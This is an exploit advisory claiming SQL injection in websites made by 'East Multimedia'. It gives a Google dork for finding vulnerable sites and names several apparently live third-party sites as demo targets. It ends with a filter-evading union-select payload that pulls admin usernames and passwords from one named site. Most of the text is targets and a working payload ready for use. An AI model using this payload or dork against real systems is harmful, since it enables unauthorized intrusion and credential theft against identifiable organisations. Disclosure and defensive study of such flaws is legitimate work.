# Exploit Title : Design by East Multimedia SQL Injection Vulnerability # Date : 2018-06-22 # Exploit Author : Iran Cyber Security Group # Vendor Homepage : www.eastmultimediame.com # Google Dork : "Design by East Multimedia" inurl:/.php?id= # category : webapps # Tested on : Win7 , Kali Linux Proof of Concept : search google Dork : "Design by East Multimedia" inurl:/.php?id= Demo : http://www.silversword.ae/products.php?id=22' [Sql injection Vulnerability] http://epidubai.com/product_page.php?cid=3' [Sql injection Vulnerability] http://www.telnettechnology.com/projects.php?id=250' [Sql injection Vulnerability] http://www.jas.ae/contents.php?$cid=4' [Sql injection Vulnerability] http://www.silversword.ae/products.php?id=-22%27+/*!50000union*/+/*!50000select*/+1,/*!50000group_concat(username,0x3a,password)*/+/*!50000from*/+admin--+ # Discovered by : Mr_null